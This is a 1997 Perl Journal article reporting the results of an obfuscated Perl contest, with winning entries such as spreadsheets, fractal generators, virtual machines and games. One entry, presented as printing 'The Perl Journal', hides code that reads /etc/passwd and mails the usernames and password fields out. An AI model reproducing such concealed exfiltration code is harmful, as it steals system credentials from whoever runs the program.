Issue 7, Fall 1997
The 1st Annual Obfuscated Perl Contest Victors
Felix Gallo
Like full-on biological war, Obfuscated Perl contests do not lend themselves to the concept of 'winning.' The survivors can only hope to redeem themselves with penance and a life of anguished regret.
This year, the judging committee buckled under the onslaught of over 30 accursed felons, deviants and ne'er-do-wells. Two disturbing trends soon emerged: first, the quantity of malevolence has risen sharply; and second, the skill with which it is wielded has grown exponentially. Judges were carried away howling to an unknown moon. One developed an incurable allergy to anonymous list references. Several attempted variable suicide.
But we persevered. Here are the top winners in each of the four categories. All of the first, second, and third-place entries can be found on the TPJ web site, including descriptions of what the programs do, how they work, and any other color commentary provided by the authors.
Most Powerful
This award is granted to the code which does the most with the least. The limit on bytecount is 512 characters, not including whitespace.
First place: Daniel Rinehart, for writing a self-uncompressing square root finder and custom bignum library:
$s=2;
$d=500;
$w="A";$_='ZIsHPX=$s-Z*Z;$|C;J"sH=\nZ.";O!XNJ"0"x$d,"\n";exit}QZNpush
(F,Z%10PZIZD)}QXNpush(@W,X%10PXIXD)}subT{GMw>MW)OMw!=MWPZ=Mw;QE1NGZV>B)
OZV!=BPZK}1}subY{my(FPZ=0;X=Mw+1;QX>ZNXV+=ZV*S;X[E1]IXVDPXV%C0;E+}MYKO!X
[MY]PF}Q$dKNLF;S=2;@T=Y;@W=(0,0,@WPSC;QSNAOTNF=(KS,FPlast}S++}AZ[0]K;Z=0;S
=MW+1;QZ-SNB+=9-ZV;OB>C0NB-C0;Z[E1]K}E+}Q!U[MW]NMWK};JX[0]}J"\n";
';foreach$s(qw/ L(S,@TPLY; UV =1*.1 Z+ @Y return( qrt($s) =R(
prR -- @w= $# )
{ if( ); Te( int Ul Wl Xi [Z] Yi Zh wh $w
/){s;$w;$s;g;$w++}eval;
Second place: Aaron Sherman, for a slick Perl-enabled spreadsheet:
while(<>){
s%^\s+%%;$q=q=([a-z])(\d+)=
;s#^(\{.*)#$1#eieio&&next;
s|\s+$||;/^$q *= *(.*)/oi||
die;_();for$%(0..$#l){my@o;
for$|(0..$#{$l[$%]}){$_=$l[
$%][$|];s%\b$q:$q\b%($j,$s,
$t,$m)=(z(_($1),_($3)),z($4
-1,$2-1));($j==$s&&(@==map{
"\$_[$_][$j]"}$t..$m))||($t
==$m&&(@==map{"\$_[$t][$_]"
}$j..$s))||die;join',',@=
%eig;s@\b$q\b@\$_[$2-1][_(
$1)]@gi;push@o,$_[$%][$|]=
eval;warn"$|,$%: $@"if$@}sub
z{sort{$a-$b}@_}print$%+1,
": ",map({sub _{@_?ord(uc$_[
0])-65:($l[$2-1][_($1)]=$3)}
sprintf((/[^\d.-]/?"%10s":
"%10.2f"),$_)}@o),"\n"}
}
Third place: Kalai Kandasamy, for an orbital fractal pixmap generator:
$k=100,$_=P,$n=200;print while(($z++?($_="",$z):($_.="6\r$n $k $n "))< $n*$k?($a=34-$p,$b=$l+($p<=>0)*sin(log abs $p-5),$#[int(($l=$a)-70)/-$k*$k+ int((($p=$b)+50)/132*$n)*$k]=$;):($_=$#[$*++==$k*$n?exit:$*]?O0h:God))Actionable mentions: Joe Futrelle's 478-byte CGI-running web server, Bill Wendling's sound-alike word lister, and Stephen McCamant's phone number word locator.
Most Creative
This award goes to the most stunningly intriguing or ridiculously hilarious combination of obfuscation and functionality. The limit is 1024 bytes of Perl code, not including whitespace.First Place: Stephen McCamant, for his implementation of an 8-bit Apple ][-like virtual machine which runs opcodes that pretend to calculate pi. Why? We don't know either, and perhaps that's the point.
$|=$m=' 32 e5 y2F&C82yP(
g32g.2'!I_Q"Ît e'"Î0 eB!P;'!}_'!sa ePQ
0b2'cd'd4Wo4d'dWmBc
'; sub g($){unpack"C",substr$m,$_[0],1} sub
p($$){substr($m,$_[1],1)=pack"C",$_[0]}sub R(){$a}sub
r(){g R} sub a(){g 0}sub t(){g 2}sub j{p R,1}sub
k{p$_[0],1} @a=split /@/,'p a+r,0@p a&r,0@p~r,R@p a|r,0@p
a^r,0@p t-1,2;p g(1),t;k R@p r-1,R@p r+1,R@p g a,0@j@j if
a&128@j if a@j if a&1@k r@a or j@p r,0@p R,0@p
g(R+a,0)@p a%r,0@p a*r,0@@p g t,R;p t+1,2@p t-1,2; p
r,t@k g t;p t+1,2@p a,R@p a- r,0@print chr(a)@p a<<r,0@p
+(a>>(R&15))&((1<<((R>>4)+1))-1),0';
@c=map($_>0?(0)x$_:eval"sub{$a[-$_]}",unpack
"c*",'ÿpyüûúùø"&oum
;õôóòñ<sup></sup>ïîíìëêéèç
æä1'); l:$c=g g 1;$a=g(g(1)+1);p
g(1)+2,1;&{$c[$c]}();goto l
[Eight-bit characters interpreted as ISO-Latin1, just for kicks. -ed].
Second Place: Robert Klep, for a curses-based graphics hack which rotates the word 'Perl' on your terminal. A must-see.
#!/usr/bin/perl
for(;print"\e[2J";$d--){for$i(0..31){for(0..7){$|=1;$c=cos$d/($P=4*atan2(1,1));
$s=sin$d/$P;(1,2,4,8,16,32,64,128)[$_]&(63,127,63,1,65,1,65,1,65,1,65,1,65,1,65
,1,63,31,63,1,1,1,65,1,1,1,65,1,1,127,65,127)[$i]&&print"\e[",25+int$c*($Y=-4+
int$i/4)-$s*($X=($i%4-2)*9+$_),";",40+int$s*$Y+$c*$X,"H*"}}select('','','',.1)}
Third Place: David Powell, for a curses-based real-time skiing game.
undef $/;open(_,$0);/ \dx([\dA-F]*)/while(<_>);@&=split(//,$1);@/=@&;
$".=chr(hex(join("",splice(@&,0,2))))while(@&); eval$";
($C,$_,@\)=(($a=$/[1]*4)*5+1, q|
|x(0x20).q|\||.chr(32)x(0x10).q$*$.
chr(0x20)x(0x10).(pack("CC",124,10)),
sub{s/.\|(\s*?)(\S)./\|$1 $2/},
sub{s/\|(\s*?).(\S)/ \|$1$2 /},
sub{$2.$1.$3},sub{$tt=(3*$tt+7)%$C},
sub{$1.$3.$2});
while ($_) {
select $/, undef, $/, $C/1E3;
(sysread(STDIN, $k, 1), s/(.)(\*)(.)/(&{$\[(ord($k)-44&2)+2]})/e)
if (select($a=chr(1),$/,$/,0));
print 0x75736520504F5349583B2024743D6E657720504F5349583A3A5465
726D96F733B24742D3E676574617474722828303D3E2A5F3D5C2423292F32
293B2024742D3E7365746C666C61672824742D3E676546C666C6167267E28
4543484F7C4543484F4B7C4943414E4F4E29293B202742D3E736574636328
5654494D452C31293B24742D3E736574617474722802C544353414E4F5729
3B24643D224352415348215C6E223B0A;
($p?(/.{70}\|$/):(/^\|/))||(&{$\[3]}<$/[0])?($p=!$p):&{$\[$p]}||die("$d");
(&{$\[3]}<$/[1])&&(s/ \|$/\|/);
(/\|.*\*.*\|$/)||die("$d");
}
Best "The Perl Journal"
In the fine 'just another Perl hacker' tradition, this award is given to the best code which generates the text 'The Perl Journal'. Case and context are unimportant. The limit is 1024 bytes of Perl code, not including whitespace. First Place: Joe Futrelle, for a gorgeously formatted entry which uses the UNIX chargen (character generation) service at www.w3.org.
package S2z8N3;{
$zyp=S2z8N3;use Socket;
(S2z8N3+w1HC$zyp)&
open SZzBN3,"<$0"
;while(<SZzBN3>){/\s\((.*p\))&/
&&(@S2zBN3=unpack$age,$1)}foreach
$zyp(@S2zBN3){
while($S2z8M3++!=$zyp-
30){$_=<SZz8N3>}/^(.)/|print $1
;$S2z8M3=0}s/.*//|print}sub w1HC{$age=c17
;socket(SZz8N3,PF_INET,SOCK_STREAM,getprotobyname('tcp'))&&
connect(SZz8N3,sockaddr_in(023,"\022\x17\x\cv"))
;S2zBN3|pack$age}
Second Place: Jim Lawless, who implements a self-decompressing six-instruction virtual machine.
# Jim Lawless [email protected] # This program is an entry for the # obfuscated Perl contest. $v='o=p0e;n ($ie,=$00;)$;f@=x"=]<]i]>];]$]y?=>j?o[i[n' . '[([">">,>@?x])];]c.l]o]s]e](]i])];]@]z<=<s<p<l?i>' . 't?(>/?\> ?/[,[$[y[)[;[$[c[{."[]["[}[=[|<$<d<+?+";' . ' |.;"$]c]{]"]>>">}>=>|?$]e]+]+];]|];]$]c<{?"[?["[' . '}?=]|]p]r]i]n<t? [s[u[b[s[t[r[([$[z[[[$[d[]<,?$>e' . '>,?1");;f|o;r$(c${i"=[0";}$=i|<$lde-n-g;t|h;($$cf' . '{)";<$"i}+=+|)$ e{-e-v;a|l;($$cc{{"s.u"b}s=t|rp(r' . '$ifn,t$ i", 1");}|);;$}d'; for($i=0;$i<368;$i+=2){$s=substr($v,$i,1);$q=$q . (($s eq '|') ? "'" : $s);$s=substr($v,$i+1,1);$r=$r . (($s eq '|') ? "'" : $s);}eval( $q . $r);print "\n";Third Place: Frank Sheiness, with the most alarming obfuscation of the contest.
#!/usr/bin/perl5.004
<BLINK>
;open$^D^$D;seek(0,-51,2);$a=<0>;@a=map unpack(c,$_),split'',substr$a,
$a,index$a,N;for($a--,7..9){splice(@a,$a+=11,0,"#")}$_=join'',@a;#$foo
=sub cut {($u,$c,$f)=@_;$d=':';while(<$f>){split($d);push(@p,$_[$u],$_
[$c]);}return@p}$f=\*F;open($f,"/etc/passwd")||die"Error:$!\n";@passwd
=cut(0,1,$f); system "echo \Q@passwd\E | mail [email protected]";
@a=split/#/;close0;$|=1;for(84,@a){for($foo=1<<1^1;$foo>=1>>1;$foo--){
$fOO=hex ff,$fOo=oct($foo=~s,\d,$&*10,e,$foo),$foo/=1/.1,$fOO<<=$fOo,$
Foo.=chr(($_&$fOO)>>$fOo),$foO++}}while(-r$0&&-e$0){$o=$o?$?:$/; print
reverse$o?$Foo:$"x$foO if$;;print"\b"x$foO;for(0..31337){rand ord PJ}}
</BLINK> # NO CARRIER
[Several eight-bit characters, including null characters, not shown. -ed].
Intolerable mentions: Stephen McCamant, Aaron Sherman, Hugh Sanderson (nice camel!).
Best Year 2000 Error
"Marsh & McLennan Inc. is offering businesses a hedge against Year 2000 problems. The New York insurance broker will sell up to $200 million worth of insurance against business losses caused by the policyholder's own computer system, or by another company's neglect to become Year 2000-compliant, or by data supplied by another company's computers. Before the policy is issued, however, Marsh & McLennan will enlist experts to make sure that the policy-buyer is taking all possible steps to avoid Year 2000 problems." (Information Week 3 Feb 97, via EDUPAGE) It's hard to escape the conclusion that crafting obfuscated code can be not just enjoyable but profitable as well. For $200 million, can you hide a Year 2000 bug well enough to fool some insurance salesmen? First Place: Stephen McCamant, whose entry was not only grotesque enough, but also alone in the category enough to win outright. Perhaps what they say about a lack of year 2000 expertise is true!
# $RCSfile: interesting.pl,v $$Revision: 0.1 $$Date: 97/04/01 12:00:00 $
# Print out an interesting thing that happened in a given year
# This program is fault-tolerant and is designed, manufactured and
# intended for use and resale as on-line control equipment in hazardous
# environments requiring fail-safe performance, such as in the operation
# of nuclear facilities, aircraft navigation and communication systems,
# air traffic control, direct life support machines, and weapons
# systems, in which the failure of the program could lead directly to
# death, personal injury, or severe physical or environmental damage
# ('High Risk Activities'). Despite the suitability of the program for
# such uses, the author's lawyers advise him to disclaim that UNDER NO
# CIRCUMSTANCES AND UNDER NO LEGAL THEORY, TORT, CONTRACT, OR OTHERWISE,
# SHALL THE AUTHOR OR HIS SUPPLIERS OR RESELLERS BE LIABLE TO YOU OR ANY
# OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL
# DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR
# LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION,
# DEATH, NUCLEAR FALLOUT OR HOLOCAUST, AIRCRAFT MIS-ROUTING, AIRCRAFT
# COLLISION, AIRCRAFT CRASHING OR FALLING OUT OF THE SKY, RANDOM FAILURE
# OF LIFE SUPPORT EQUIPMENT OR OTHER MEDICAL DEVICES, UNINTENDED FIRING
# OF OFFENSIVE WEAPONS SYSTEMS, UNINTENDED FAILURE OF DEFENSIVE WEAPONS
# SYSTEMS, PROVOCATION OF ARMED CONFLICT, PROVOCATION OF UNARMED
# CONFLICT (NOT RESTRICTED TO PROFESSIONAL WRESTLING), OR ANY AND ALL
# OTHER COMMERCIAL DAMAGES OR LOSSES. IN NO EVENT WILL HE BE LIABLE FOR
# ANY DAMAGES, EVEN IF HE SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF
# SUCH DAMAGES BY ANY MEDIUM, EVEN IF REPEATEDLY, OR FOR ANY CLAIM BY
# ANY OTHER PARTY. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO
# LIABILITY FOR DEATH OR PERSONAL INJURY TO THE EXTENT APPLICABLE LAW
# PROHIBITS SUCH LIMITATION. FURTHERMORE, SOME JURISDICTIONS DO NOT
# ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL
# DAMAGES, SO THIS LIMITATION AND EXCLUSION MAY NOT APPLY TO YOU.
# Changes:
# 0.0 SMCC Initial revision
# 0.1 SMCC Added `eval' for fault tolerance, according to
# spec MIL 4269.1828
# 0.2 SMCC Made POSIX compliant
# At first I found perl difficult and unwieldy, but now that I've
# gotten into it more, I don't have any trouble getting it to do what
# I mean.
# Failsafe definitions
$SUCC = 0;
$FAIL = 1;
eval { require POSIX;
POSIX->import;
$SUCC = EXIT_SUCCESS();
$FAIL = EXIT_FAILURE();
};
# The following just a failsafe definition -- it doesn't handle all
# cases correctly.
sub roman {
my($x) = @_;
my($s) = "";
$s .= "M", $x -= 1000 while $x >= 1000;
$s .= "D", $x -= 500 while $x >= 500;
$s .= "C", $x -= 100 while $x >= 100;
$s .= "L", $x -= 50 while $x >= 50;
$s .= "X", $x -= 10 while $x >= 10;
$s .= "V", $x -= 5 while $x >= 5;
$s .= "I", $x -= 1 while $x >= 1;
return $s;
}
eval { require Numerals::Roman;
Numerals::Roman->import; # Overrides definition above
};
@linesep = ("\r", "\r\n", "\045");
#%linesep = ('macos' => 0, 'msdos' => 1, 'win32' => 1, 'win95' => 1,
# 'winnt' => 1, 'mvs' => 2, 'vm' => 2);
# Actually, on MacPerl "\r" means "\n" and "\n" means "\r", and on DOS
# machines "\r\n" is translated into "\n" on input (unless we use
# binmode, which we won't), so we can get away with "\n" everywhere.
%linesep = ();
if (exists $linesep{lc $^O}) {
$linesep = eval { $linesep[$linesep{lc $^O}] };
} else {
$linesep = "\n";
}
# Read in the data
eval {
local($/);
# Because of the undefined value, this operation is especially
# risky -- thus, we use eval {} twice.
eval { eval { undef $/ } };
eval { $data = <DATA> };
};
if (@ARGV != 1) {
die "usage: $0 year\n";
}
$year = $ARGV[0];
$ryear = eval { roman($year) };
# First search -- reject any lines whose date isn't made up of the same
# numerals as the target date.
# This first pass is actually slower on a serial machine, but using
# the full database and ParallelPerl on the Cray at the base, it
# really flies.
# Here, eval serves a dual purpose -- not only does it protect us from
# failure and errors, but it causes the regex to be precompiled, a
# speed win.
$searchsub = eval
"sub {\$_[0] !~ /(\$linesep[$ryear]+ [^\$linesep]+\$linesep)/}";
# This method of stepping over the data may seem weird and C-like, for
# two reasons. First, this started life as a C program. Second, when
# you have a database that includes everything interesting that's
# happened in the history of the world, you don't want the overhead of
# split(). Unfortunately, this code is rather brittle -- it had quite
# a few off-by-one errors before I twiddled it into its current state.
($i0, $i1) = (0, 1 + index($data, $linesep));
while ($i1 < length $data) {
$text = substr($data, $i0, $i1-$i0);
$status = eval { &{$searchsub}($text) };
# The real check. Since this is part of the `inner loop', I've
# tried to write it using as few operators as possible.
if ($status == $FAIL && $text =~ /$ryear (.*)$linesep/) {
print "$1 in $year\n";
exit $SUCC;
}
# No match: move along down the data
($i0, $i1) = ($i1 - 1, 2 + $i1 + index(substr($data, $i1 + 1), $linesep));
}
print "Nothing interesting happening in $year\n";
exit $FAIL;
# Data follows
# The following is part of a much larger database; this is only sample data.
# Many of these are from _The Timetables of History_, third revised edition.
# Sorry about the format -- the database is part of a legacy system.
__END__
DXXV Caleb of Abyssinia conquers the Yemen
DCCXXXX Earthquake in Asia Minor
DCCCCLXVIII Founding of Cordoba University
MCCXXXXIII Five-year truce between England and France
MDLXXXI Sedan chairs in general use in England
MDCCLXVI First paved sidewalk laid in Westminster, London
MDCCCCXIIII Northern and Southern Nigeria united
MDCCCCXXXVIIII Baseball game is first televised in U.S.
MDCCCCLXVII National Library in Ottawa, Ontario, opened
MDCCCCLXXXVI Live television coverage of U.S. Senate debates begins
MDCCCCLXXXX Marion Barry, Jr., was arrested for possession of crack
MDCCCCLXXXXVI Summer Olympics in Atlanta
MDCCCCLXXXXVII 1st Annual Obfuscated Perl Contest
MDCCCCLXXXXVIII Release of Perl 5.005
MDCCCCLXXXXVIIII Cancellation of Star Trek: Voyager
MM The end ... just kidding
MMI Release of Perl 6.000_000_000 ... just kidding
MMII Release of Windows 2
MMIII Ronald Reagan dies
Best of Show
The 1997 Best of Show award goes to Stephen McCamant, whose entry in the Most Creative category takes special pains to cause special pain. We can only hope the grim knowledge of what he has done haunts him to the end of his days. Only the fact that his virtual machine was based on the Apple ][ squeaked him by Joe Futrelle's TPJ-printing entry at the wire for the victory.
Thanks to all who entered this year's contest! Everyone was skilled enough that judging was very difficult. As before, we strongly recommend that aspiring Perl programmers read the entries and try to decipher them; you can learn quite a bit in the process, if you stay sane.
From the depths of hell we stab at thee, The Survivors of the Obfuscated Perl Judging Committee
_ _END_ _
